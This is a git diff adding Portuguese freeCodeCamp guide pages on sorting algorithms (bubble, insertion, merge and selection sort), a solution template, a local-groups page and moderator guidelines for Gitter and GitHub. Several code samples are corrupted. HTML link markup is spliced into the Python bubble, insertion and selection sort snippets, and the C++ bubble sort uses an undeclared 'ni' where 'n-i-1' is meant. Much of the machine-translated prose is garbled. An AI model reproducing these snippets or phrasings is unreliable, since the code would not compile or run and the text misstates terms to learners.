+ ( 1 4 2 5 8 ) –> ( 1 4 2 5 8 ) 
+ ( 1 4 2 5 8 ) –> ( 1 2 4 5 8 ), Swap since 4 > 2 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+ ( 1 2 4 5 8 ) –>  ( 1 2 4 5 8 ) 
+ Now, the array is already sorted, but our algorithm does not know if it is completed. The algorithm needs one whole pass without any 
+ swap to know it is sorted. 
+ 
+ Third Pass: 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+```
+
+#### Implementação de C ++
+```
+// Function to implement bubble sort 
+ void bubble_sort(int array[], int n) 
+ { 
+    // Here n is the number of elements in array 
+    int temp; 
+ 
+    for(int i = 0; i < n-1; i++) 
+ { 
+    // Last i elements are already in place 
+    for(int j = 0; j < ni-1; j++) 
+    { 
+        if (array[j] > array[j+1]) 
+        { 
+            // swap elements at index j and j+1 
+            temp = array[j]; 
+            array[j] = array[j+1]; 
+            array[j+1] = temp; 
+        } 
+    } 
+ } 
+ } 
+```
+
+: rocket: \[código de execução #### implementação de Python
+```
+def bubble_sort(arr): 
+    exchanges = True # A check to see if the array is already sorted so that no further steps gets executed 
+    i = len(arr)-1 
+    while i > 0 and exchanges: 
+       exchanges = False 
+       for j in range(i): 
+           if arr<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>j]>arr[j+1]: 
+               exchanges = True 
+               arr[j], arr[j+1] = arr[j+1], arr[j] 
+       i -= 1 
+ 
+ arr = [5,3,23,1,43,2,54] 
+ bubble_sort(arr) 
+ print(arr) # Prints [1, 2, 3, 5, 23, 43, 54] 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CW0M/1)
+
+#### [Complexidade do Algoritmo](https://www.freecodecamp.com/videos/big-o-notation-what-it-is-and-why-you-should-care)
+
+**Pior e Média Complexidade de Tempo de Caso:** O (n \* n). O pior caso ocorre quando o array é classificado em ordem reversa, ou seja, os elementos estão em ordem decrescente
+
+**Melhor complexidade do tempo de caso:** O (n). Melhor caso ocorre quando a matriz já está classificada.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-challenge-template-guide/index.md b/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-challenge-template-guide/index.md
new file mode 100644
index 0000000000..bfaefcc85f
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-challenge-template-guide/index.md
@@ -0,0 +1,103 @@
+---
+title: Freecodecamp Algorithm Challenge Template Guide
+localeTitle: Guia de modelo de desafio de algoritmo Freecodecamp
+---
+> Este é o modelo que você deve seguir ao escrever novas soluções de algoritmo ou adicionar conteúdo. Sempre verifique se a versão mais recente desse modelo está implementada em sua solicitação de recebimento
+
+# Algoritmo [adicionar nome aqui\]](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ":triangular_flag_on_post:")
+
+![:triangular_flag_on_post:</a> Remember to use <a>**<code>Read-Search-Ask</code>**</a> if you get stuck. Try to pair program ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Explique o que é perguntado, de maneira fácil de entender e detalhada.
+
+#### Links Relevantes
+
+*   [Título do link 1](http://example.com)
+*   [Título do link 2](http://example.com)
+*   [Título do link 3](http://example.com)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Adicione a dica 1 aqui.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Adicione a sugestão 2 aqui.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Adicione a dica 3 aqui.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+// write solution code here 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/URL-HERE)
+
+### Explicação do código:
+
+Explique a solução aqui e adicione links relevantes
+
+#### Links Relevantes
+
+*   [Título do link 1](http://example.com)
+*   [Título do link 2](http://example.com)
+*   [Título do link 3](http://example.com)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+// write solution code here 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/URL-HERE)
+
+### Explicação do código:
+
+Explique a solução aqui e adicione links relevantes
+
+#### Links Relevantes
+
+*   [Título do link 1](http://example.com)
+*   [Título do link 2](http://example.com)
+*   [Título do link 3](http://example.com)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+// write solution code here 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/URL-HERE)
+
+### Explicação do código:
+
+Explique a solução aqui e adicione links relevantes
+
+#### Links Relevantes
+
+*   [Título do link 1](http://example.com)
+*   [Título do link 2](http://example.com)
+*   [Título do link 3](http://example.com)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") **`Wiki Challenge Solution Template`** para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-insertion-sort-guide/index.md b/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-insertion-sort-guide/index.md
new file mode 100644
index 0000000000..d99e0a3255
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-insertion-sort-guide/index.md
@@ -0,0 +1,101 @@
+---
+title: Freecodecamp Algorithm Insertion Sort Guide
+localeTitle: Guia de Ordenação de Inserção do Algoritmo Freecodecamp
+---
+A ordenação de inserção é uma [classificação baseada em _comparação_](https://en.wikipedia.org/wiki/Comparison_sort) . Um algoritmo de classificação é baseado em comparação, se usar operadores de comparação (como `less than` e maior `greated than` ) para localizar a ordem entre dois números.
+
+Nesta técnica de ordenação, sempre mantemos uma sub-lista classificada na posição inferior da lista e, em seguida, pegamos um elemento do resto da lista e o inserimos no local correto. Fazemos isso até que todos os elementos sejam inseridos na sub-lista. Por exemplo, enquanto jogamos cartas, ordenamos cartas em nossas mãos. Começando da esquerda e movendo para a direita, continuamos a inserir o cartão no lugar certo até o final.
+
+## Exemplo
+
+![Tipo de Inserção](//discourse-user-assets.s3.amazonaws.com/original/2X/2/289cddf207e54981a05b56d9c267d078ed827c8b.png)
+
+No exemplo acima, a `grey shaded` lista `grey shaded` é sempre classificada. Por favor, note que no início, a sub-lista contém apenas um elemento e é classificada de forma _trivial_ . Então, a cada passo, estamos inserindo o elemento mais à esquerda da `white shaded` lista `white shaded` na sua posição correta.
+
+Portanto, classificamos a lista completa dessa maneira.
+
+## Algoritmo
+```
+Loop for i=0 to N-1: 
+ * Pick element array<a href='https://repl.it/CWZq' target='_blank' rel='nofollow'>i] and insert it into sorted sublist array[0...i-1] 
+```
+
+## Complexidade
+```
+Space complexity: O(1)      // Auxillary/temporary space is used. 
+ 
+ Time complexity: O(n*n)     // Two nested for loops are used. 
+```
+
+## Implementação de C ++
+```
+// Function to sort an array using insertion sort 
+ void insertionSort(int arr[], int n) 
+ { 
+   int i, key, j; 
+   for (i = 1; i < n; i++) 
+   { 
+       key = arr[i]; 
+       j = i-1; 
+ 
+       /* Move elements of arr[0..i-1], that are greater than key, 
+      to one position ahead of their current position */ 
+   while (j >= 0 && arr[j] > key) 
+   { 
+       arr[j+1] = arr[j]; 
+       j = j-1; 
+   } 
+   arr[j+1] = key; // place element key at it's correct place 
+   } 
+ } 
+ 
+ int main() 
+ { 
+    // array to be sorted 
+    int arr[5] = {12, 11, 13, 5, 6}; 
+ 
+    // call the insertion sort 
+ insertionSort(arr, 5); 
+ 
+ // prints sorted array ie 5 6 11 12 13 
+ for(int i=0; i<5; i++) 
+    std::cout << arr[i] << " "; 
+ return 0; 
+ } 
+```
+
+: rocket: \[código de execução ## implementação de Python
+```
+# Function to perform insertion sort 
+ def insertionSort(arr): 
+    # Traverse through array 
+    for i in range(1, len(arr)): 
+        key = arr<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>i] 
+        # Move elements of arr[0..i-1], that are greater than key, 
+        # to one position ahead of their current position 
+        j = i-1 
+        while j>=0 and key < arr[j] : 
+                arr[j+1] = arr[j] 
+                j -= 1 
+        arr[j+1] = key # place element key at it's correct place 
+ 
+ # array to be sorted 
+ arr = [12, 11, 13, 5, 6] 
+ # call the insertion sort 
+ insertionSort(arr) 
+ # prints sorted array ie 5 6 11 12 13 
+ for i in range(len(arr)): 
+    print(arr[i],end = ' ') 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CWZi)
+
+## Vantagens
+
+1.  Eficiente para um pequeno conjunto de dados e conjuntos de dados quase classificados.
+2.  Simplesmente implementado.
+3.  Melhor que bubble sort e selection sort e geralmente usado com merge sort.
+
+## Desvantagens
+
+1.  É menos eficiente em um grande conjunto de dados do que em merge sort, heap sort e quick sort.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-merge-sort-guide/index.md b/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-merge-sort-guide/index.md
new file mode 100644
index 0000000000..614093859a
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-merge-sort-guide/index.md
@@ -0,0 +1,141 @@
+---
+title: Freecodecamp Algorithm Merge Sort Guide
+localeTitle: Guia de classificação de mesclagem do algoritmo Freecodecamp
+---
+A maioria das linguagens modernas possui uma função sort () que classifica automaticamente uma matriz ou lista de entrada. Você já se perguntou como funciona a função do tipo no interior? Conhecer algoritmos comuns de ordenação e suas implementações é a parte mais importante de uma entrevista de codificação. Nesta série de artigos, veremos vários algoritmos de classificação importantes. Como eles são implementados, a complexidade do tempo e do espaço, etc. Nosso primeiro post está no Merge Sort.
+
+Para aprender sobre o Merge Sort, um conhecimento básico sobre o [Recursion](http://programmers.stackexchange.com/questions/25052/in-plain-english-what-is-recursion) é um pré-requisito. Merge Sort é baseado no princípio de dividir e conquistar. Todo o processo de ordenar uma matriz de N inteiros pode ser resumido em três etapas:
+
+*   Divida o array em duas metades.
+*   Classifique a metade esquerda e a metade direita usando o mesmo algoritmo recorrente.
+*   Mesclar as metades classificadas.
+
+A maior vantagem do uso do Merge Sort é que a [complexidade](https://www.youtube.com/watch?v=V42FBiohc6c&list=PL2_aWCzGMAwI9HK8YPVBjElbLbI3ufctn) do [tempo](https://www.youtube.com/watch?v=V42FBiohc6c&list=PL2_aWCzGMAwI9HK8YPVBjElbLbI3ufctn) é apenas n \* log (n) para ordenar um Array inteiro. É muito melhor que n ^ 2 o tempo de execução da ordenação de bolhas ou ordenação de inserção.
+
+Antes de escrevermos código, vamos entender como o merge sort funciona com a ajuda de um diagrama.
+
+![Merge Sort](//discourse-user-assets.s3.amazonaws.com/original/2X/4/4712ef1a5d856dbb4af393fcc08a820a38787395.png)
+
+*   Inicialmente, temos uma matriz de 6 inteiros não classificados Arr (5, 8, 3, 9, 1, 2)
+*   Nós dividimos o array em duas metades Arr1 = (5, 8, 3) e Arr2 = (9, 1, 2).
+*   Novamente, nós os dividimos em duas metades: Arr3 = (5, 8) e Arr4 = (3) e Arr5 = (9, 1) e Arr6 = (2)
+*   Mais uma vez, os dividimos em duas metades: Arr7 = (5), Arr8 = (8), Arr9 = (9), Arr10 = (1) e Arr6 = (2)
+*   Vamos agora comparar os elementos desses sub-arrays para mesclá-los.
+
+## Implementação
+
+### Implementação de C ++
+```
+void merge(int array[], int left, int mid, int right) 
+ { 
+    int i, j, k; 
+ 
+    // Size of left sublist 
+ int size_left = mid - left + 1; 
+ 
+ // Size of right sublist 
+ int size_right =  right - mid; 
+ 
+ /* create temp arrays */ 
+ int Left[size_left], Right[size_right]; 
+ 
+ /* Copy data to temp arrays L[] and R[] */ 
+ for(i = 0; i < size_left; i++) 
+ { 
+    Left[i] = array[left+i]; 
+ } 
+ 
+ for(j = 0; j < size_right; j++) 
+ { 
+    Right[j] = array[mid+1+j]; 
+ } 
+ 
+ // Merge the temp arrays back into arr[left..right] 
+ i = 0; // Initial index of left subarray 
+ j = 0; // Initial index of right subarray 
+ k = left; // Initial index of merged subarray 
+ 
+ while (i < size_left && j < size_right) 
+ { 
+    if (Left[i] <= Right[j]) 
+    { 
+        array[k] = Left[i]; 
+        i++; 
+    } 
+    else 
+    { 
+        array[k] = Right[j]; 
+        j++; 
+    } 
+    k++; 
+ } 
+ 
+ // Copy the remaining elements of Left[] 
+ while (i < size_left) 
+ { 
+    array[k] = Left[i]; 
+    i++; 
+    k++; 
+ } 
+ 
+ // Copy the rest elements of R[] 
+ while (j < size_right) 
+ { 
+    array[k] = Right[j]; 
+    j++; 
+    k++; 
+ } 
+ } 
+ 
+ void mergeSort(int array[], int left, int right) 
+ { 
+    if(left < right) 
+    { 
+        int mid = (left+right)/2; 
+ 
+        // Sort first and second halves 
+    mergeSort(array, left, mid); 
+    mergeSort(array, mid+1, right); 
+ 
+    // Finally merge them 
+    merge(array, left, mid, right); 
+ } 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CYVc/1)
+
+### Implementação Javascript
+
+Vamos escrever MergeSort em JavaScript:
+```
+function mergeSort (arr) { 
+  if (arr.length < 2) return arr; 
+  var mid = Math.floor(arr.length /2); 
+  var subLeft = mergeSort(arr.slice(0,mid)); 
+  var subRight = mergeSort(arr.slice(mid)); 
+  return merge(subLeft, subRight); 
+ } 
+```
+
+Primeiro, verificamos o tamanho do array. Se é 1, então simplesmente retornamos o array. Este seria o nosso caso básico. Senão, vamos descobrir o valor médio e dividir o array em duas metades. Vamos agora ordenar ambas as metades com chamadas recursivas para a função MergeSort.
+```
+function merge (a,b) { 
+    var result = []; 
+    while (a.length >0 && b.length >0) 
+        result.push(a[0] < b[0]? a.shift() : b.shift()); 
+    return result.concat(a.length? a : b); 
+ } 
+```
+
+Quando mesclamos as duas metades, armazenamos o resultado em uma matriz auxiliar. Vamos comparar o elemento inicial da matriz esquerda com o elemento inicial da matriz correta. Qualquer que seja o menor, será empurrado para o array de resultados e vamos removê-lo de lá respectivos arrays usando o operador \[shift (). Se ainda assim ficarmos com valores em uma matriz esquerda ou direita, simplesmente a concatenaremos no final do resultado. Aqui está o resultado classificado:
+```
+var test = [5,6,7,3,1,3,15]; 
+ console.log(mergeSort(test)); 
+ 
+ >> [1, 3, 3, 5, 6, 7, 15] 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CYVd)
+
+Se você ainda tiver problemas para entender o MergeSort, uma [explicação em vídeo](https://www.youtube.com/watch?v=TzeBrDU-JaY) tornará isso ainda mais claro.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-selection-sort-guide/index.md b/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-selection-sort-guide/index.md
new file mode 100644
index 0000000000..725ff9c520
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/freecodecamp-algorithm-selection-sort-guide/index.md
@@ -0,0 +1,80 @@
+---
+title: Freecodecamp Algorithm Selection Sort Guide
+localeTitle: Guia de seleção de seleção de algoritmo Freecodecamp
+---
+O algoritmo de classificação de seleção classifica uma matriz localizando repetidamente o elemento mínimo (considerando a ordem crescente) da parte não classificada e colocando-o no início. O algoritmo mantém dois subarrays em um determinado array.  
+1\. O subarray que já está classificado.  
+2\. Subarray restante que não está classificado.
+
+Em cada iteração de classificação de seleção, o elemento mínimo (considerando a ordem crescente) do subarray não classificado é selecionado e movido para o subarray classificado.
+
+## Exemplo
+
+[Animação do SelectionSort](http://www.sorting-algorithms.com/selection-sort)
+```
+arr<a href='https://repl.it/CZa0' target='_blank' rel='nofollow'>] = 64 25 12 22 11 
+ 
+ # Placing the minimum element in arr[0...4] in the beginning 
+ 11 25 12 22 64 
+ 
+ # Placing the minimum element in arr[1...4] in the beginning 
+ 11 12 25 22 64 
+ 
+ # Placing the minimum element in arr[2...4] in the beginning 
+ 11 12 22 25 64 
+ 
+ # Placing the minimum element in arr[3...4] in the beginning 
+ 11 12 22 25 64 
+```
+
+#### Implementação de C ++
+```
+void selection_sort(int array[], int n) 
+ { 
+    // Contains index of minimum element in unsorted subarray 
+    int min_index; 
+ 
+    // Move boundary of unsorted subarray 
+ for(int i = 0; i < n-1; i++) 
+ { 
+    // Find the minimum element in unsorted subarray 
+    min_index = i; 
+    for(int j = i+1; j < n; j++) 
+    { 
+        // If present element is less than element at min_index 
+        // Then change min_index to present index 
+        if(array[j] < array[min_index]) 
+        { 
+            min_index = j; 
+        } 
+    } 
+ 
+    // Swap the element at min_index with the first element 
+    int temp; 
+    temp = array[min_index]; 
+    array[min_index] = array[i]; 
+    array[i] = temp; 
+ } 
+ } 
+```
+
+: rocket: \[código de execução #### implementação de Python
+```
+def selection_sort(arr): 
+    for i in range(len(arr)): 
+        min_x = i 
+        for j in range(i+1,len(arr)): 
+            if arr<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>j] < arr[min_x]: 
+                min_x = j 
+        arr[min_x], arr[i] = arr[i], arr[min_x] 
+ 
+ arr = [64, 25, 12, 22, 11] 
+ selection_sort(arr) 
+ print(arr) # Prints [11, 12, 22, 25, 64] 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CXwQ)
+
+#### [Complexidade do Algoritmo](https://www.freecodecamp.com/videos/big-o-notation-what-it-is-and-why-you-should-care)
+
+**Complexidade do Tempo:** O (n \* n) Devido aos dois loops aninhados.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/freecodecamp-city-based-local-groups/index.md b/client/src/guide/portuguese/miscellaneous/freecodecamp-city-based-local-groups/index.md
new file mode 100644
index 0000000000..fcff11d535
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/freecodecamp-city-based-local-groups/index.md
@@ -0,0 +1,15 @@
+---
+title: Freecodecamp City Based Local Groups
+localeTitle: Grupos locais com base na cidade de Freecodecamp
+---
+### Passo 1) Junte [\-](https://www.facebook.com/groups/freeCodeCampEarth/) se ao nosso [grupo freeCodeCamp no Facebook](https://www.facebook.com/groups/freeCodeCampEarth/) .
+
+### Passo 2) Encontre a sua cidade na lista abaixo de mais de 1.000 grupos locais.
+
+### Passo 3) Junte-se ao seu grupo local no Facebook.
+
+Se você não viu sua cidade na nossa lista de grupos abaixo e está disposto a liderar um grupo do Facebook para sua cidade, veja como [criar seu próprio grupo local](http://forum.freecodecamp.com/t/how-to-create-a-local-group-for-your-city/19532) .
+
+Por favor, note que todos os grupos locais não são oficiais e são administrados independentemente pelos membros da comunidade do freeCodeCamp. Esses grupos locais não são afiliados à organização que hospeda o freecodecamp.com, o Free Code Camp, Inc, que não controla nem endossa o que membros do grupo local e organizadores fazem sozinhos.
+
+![](//discourse-user-assets.s3.amazonaws.com/original/3X/0/a/0aff361f8a6995c5d5c24e05f34e16347bd738e4.png)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/freecodecamp-moderator-guidelines/index.md b/client/src/guide/portuguese/miscellaneous/freecodecamp-moderator-guidelines/index.md
new file mode 100644
index 0000000000..49c5117bca
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/freecodecamp-moderator-guidelines/index.md
@@ -0,0 +1,255 @@
+---
+title: Freecodecamp Moderator Guidelines
+localeTitle: Diretrizes do Moderador Freecodecamp
+---
+# Os pilares da moderação
+
+Acima de tudo, lembre-se que o seu propósito como moderador é servir a nossa comunidade:
+
+*   Ouço
+*   Seja útil
+*   Não abuse do seu poder
+
+# Moderando Gitter
+
+Veja como os moderadores lidam com violações do nosso [Código de Conduta](https://www.freecodecamp.com/code-of-conduct) no Gitter:
+
+1.  Os moderadores irão proibir a pessoa ofensora imediatamente.
+    
+2.  Os moderadores enviarão a eles a seguinte mensagem:
+    
+    > Esta é uma mensagem padrão notificando que eu tive que bani-lo temporariamente das salas de chat do freeCodeCamp.
+    > 
+    > Eu sou um moderador agindo em nome da nossa comunidade de código aberto. Eu posso considerar desbanir você, mas eu preciso que você faça algo primeiro.
+    > 
+    > 1\. Leia nosso [**`Code of Conduct`**]([https://www.freecodecamp.com/code-of-conduct) ).  
+    > 2\. Por favor, confirme que você leu.  
+    > 3\. Explique-me por que você acha que eu bani você.
+    
+3.  Com base na sua resposta, os moderadores decidirão se desassociar o campista infrator. Se o campista ofensor não tiver sido banido por esse moderador antes, e se ele parecer respeitoso e apologético, o moderador poderá liberá-lo. Por uma questão de política, os moderadores serão educados durante este processo, não importa o quão mal o agressor se tenha comportado.
+    
+4.  Os moderadores digitarão um breve resumo do evento e como eles responderam a ele na [sala de administração](https://gitter.im/freeCodeCamp/admin) . Veja um exemplo de como esses resumos podem parecer:
+    
+    > Eu bani @username por spamming e enviou-lhes o Código de Conduta. Eles disseram que lamentavam e que honestamente não sabiam o que estavam fazendo era considerado spam. Eu desbanquei eles.
+    > 
+    > Eu desbanquei @username . Enviei-lhes o Código de Conduta. Eles só hoje perceberam que foram banidos e se desculparam pelo que fizeram.
+    > 
+    > Eu bani @username por assédio. Eles ficaram mal comigo. Eu recomendo que entremos em contato com Gitter para uma proibição global.
+    
+
+Para banir alguém, digite o seguinte na sala de chat:
+
+> `/ban @username`
+
+Se eles cooperarem, você poderá desbanjá-los posteriormente com:
+
+> `/unban @username`
+
+Isso só funciona para esse quarto individual, então talvez seja necessário bani-los em mais de um lugar.
+
+Se um campista continuar pulando de sala em sala causando problemas, os moderadores podem solicitar uma proibição global na [sala de administração](https://gitter.im/freecodecamp/admin) .
+
+### Excluindo mensagens do Gitter
+
+Os moderadores podem excluir mensagens no Gitter. Eles só devem exercitar essa habilidade em três situações muito específicas:
+
+1.  Alguém postou uma imagem pornográfica ou graficamente violenta.
+2.  Alguém postou um link ou código de natureza maliciosa e pode prejudicar outros participantes que clicarem nele.
+3.  Alguém inundou o chat com muitas mensagens de spam de uma forma tão extrema (geralmente envolvendo bots) que tornou o chat completamente inutilizável.
+
+Em todas as outras situações - mesmo em situações em que o código de conduta é violado - os moderadores não devem excluir a mensagem, pois são um registro histórico importante.
+
+### Não use `@/all`
+
+Não use _`@/all`_ sob nenhuma circunstância. Cada pessoa nessa sala de bate-papo receberá uma notificação. Em alguns casos, dezenas de milhares de pessoas.
+
+Em vez disso, se você quiser que as pessoas vejam um anúncio, use um tamanho de texto de cabeçalho. Você pode fazer isso colocando `#` na frente da sua primeira sentença.
+
+### Não avise ou ameace proibir
+
+Se alguém está quebrando o código de conduta, não os avise ou ameace proibi-los. Em vez disso, silenciosamente bani-los, em seguida, mensagem privada-los e proceder de acordo com o protocolo acima. Ninguém mais na sala precisa saber que você baniu a pessoa.
+
+### Não se gabar de ser um moderador
+
+Não se veja acima da comunidade. Você é a comunidade. E a comunidade confiou em você para ajudar a proteger algo raro que todos nós compartilhamos - um lugar acolhedor para novos desenvolvedores.
+
+Se você se gabar de ser um moderador, as pessoas podem se sentir desconfortáveis ​​perto de você, da mesma forma que as pessoas podem se sentir desconfortáveis ​​com um policial, mesmo que não estejam fazendo nada errado. Esta é apenas a natureza humana.
+
+### Não contradiz outros moderadores
+
+Se você não concordar com a ação de um moderador, fale com eles em particular ou troque-o no mod chat. Nunca anule uma proibição. Em vez disso, faça uma discussão moderada no mod-chat e convença o moderador de que eles mesmos devem reverter sua proibição.
+
+Lembre-se: estamos todos no mesmo time. Queremos dignificar o papel dos moderadores e apresentar uma frente unificada.
+
+# Moderando o GitHub
+
+Os moderadores são voluntários que têm a capacidade de encerrar problemas e aceitar ou negar solicitações de recebimento.
+
+Os moderadores têm duas responsabilidades principais em relação ao GitHub:
+
+1.  Avaliando e respondendo a problemas
+2.  QA'ing e mesclando solicitações de pull
+
+### Avaliando e respondendo a problemas
+
+O freeCodeCamp é um projeto ativo de código aberto. Recebemos dezenas de problemas todos os dias, os quais precisam ser triados e rotulados.
+
+Existem várias classes gerais de problemas:
+
+1.  **Solicitações de Ajuda de Código** , que não são apropriadas para problemas.  
+    Se um problema for claramente alguém pedindo ajuda, cole a seguinte mensagem e feche o problema.
+    
+    > Obrigado por comunicar este problema.
+    > 
+    > Esta é uma mensagem padrão que notifica que esse problema parece ser uma solicitação de ajuda. Em vez de pedir ajuda aqui, clique no botão **"Ajuda"** do desafio sobre freeCodeCamp, que o levará para a sala de chat de ajuda para esse desafio específico. Você também pode ver nossa [**lista completa de salas de chat oficiais**](https://forum.freecodecamp.com/t/free-code-camp-official-chat-rooms/19390) ).
+    > 
+    > Se você acha que estou errado ao encerrar este problema, reabra-o e adicione mais esclarecimentos. Obrigado e feliz codificação.
+    
+2.  **Problemas de bugs ou esclarecimentos** Confirme o bug, se possível. Procure detalhes adicionais conforme necessário, como Etapas para Reproduzir. Uma vez que o problema tenha sido reproduzido - ou pelo menos considerado legítimo - o rótulo é `confirmed` . Então:
+    
+    *   Se for uma simples mudança para um desafio existente, marque a opção como a `help wanted` e, opcionalmente, como `first-timers-only` . Use outras tags conforme apropriado.
+        
+    *   Se o problema for mais significativo, marque como `bug` .
+        
+    *   [Guia de uso de etiquetas](https://forum.freecodecamp.com/t/free-code-camp-issue-labels/19556)
+        
+        Se houver alguma ambiguidade quanto à ação adequada em um problema, sinta-se à vontade para marcar **`@freeCodeCamp/moderators`** para obter opiniões de outros moderadores. Sinalizar como `Discussing` .
+        
+3.  **Problemas duplicados** Se um problema é o mesmo que outro problema relatado, o problema relatado anteriormente deve ter precedência. Marcar como `Duplicate` , cole a seguinte mensagem substituindo `#XXXXX` pelo número do problema e feche o problema.
+    
+    > Obrigado por comunicar este problema.
+    > 
+    > Esta é uma mensagem padrão notificando-o de que este problema parece ser muito semelhante ao da questão #XXXXX , por isso estou fechando-o como duplicado.
+    > 
+    > Se você acha que estou errado ao encerrar este problema, reabra-o e adicione mais esclarecimentos. Obrigado e feliz codificação.
+    
+4.  **Corrigido na preparação** Alguns problemas foram corrigidos no teste, mas não tem outro problema no mesmo tópico. Cole a seguinte mensagem e feche o problema:
+    
+    > Obrigado por comunicar este problema.
+    > 
+    > Esta é uma mensagem padrão que notifica você de que esse problema está presente na produção, mas foi corrigido no armazenamento temporário. Por causa disso, estou fechando essa questão. Quando o teste for enviado novamente para a produção, seu problema será resolvido.
+    > 
+    > Se você acha que estou errado ao encerrar este problema, reabra-o e adicione mais esclarecimentos. Obrigado e feliz codificação.
+    
+5.  **Derramamento de bicicleta O Derramamento de** bicicleta é um exemplo da [lei da trivialidade](https://en.wikipedia.org/wiki/Parkinson%27s_law_of_triviality) de [Parkinson](https://en.wikipedia.org/wiki/Parkinson%27s_law_of_triviality) . Algumas questões simplesmente não valem a pena consertar. Se você acredita que um problema não vale a pena, `bikeshedding` como " `bikeshedding` , cole e preencha a seguinte mensagem e feche o problema:
+    
+    > Obrigado por comunicar este problema.
+    > 
+    > _Dê uma breve explicação de por que isso é bikeshedding, uma forma da [lei da trivialidade](https://en.wikipedia.org/wiki/Parkinson%27s_law_of_triviality) de [Parkinson](https://en.wikipedia.org/wiki/Parkinson%27s_law_of_triviality) , então estou fechando._
+    > 
